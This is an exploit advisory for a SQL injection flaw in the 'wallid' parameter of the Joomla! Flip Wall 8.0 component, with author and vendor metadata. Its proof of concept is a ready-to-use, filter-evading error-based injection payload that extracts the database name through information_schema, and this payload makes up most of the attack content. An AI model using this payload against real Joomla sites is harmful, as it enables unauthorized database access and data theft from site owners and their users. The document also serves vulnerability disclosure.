Joomla! Component Flip Wall 8.0 - 'wallid' SQL Injection

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# Exploit Title: Joomla! Component Flip Wall 8.0 - SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://pulseextensions.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/sponsors/flip-wall/
# Demo: http://demo.pulseextensions.com/flip-wall-component-demo/
# Version: 8.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept:
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# http://localhost/[PATH]/index.php?option=com_flipwall&task=click&wallid=[SQL]
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# 811+aND(/*!11166sELeCT*/+0x30783331+/*!11166FrOM*/+(/*!11166SeLeCT*/+cOUNT(*),/*!11166CoNCaT*/((sELEcT(sELECT+/*!11166CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+AND+1=1
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# Etc..
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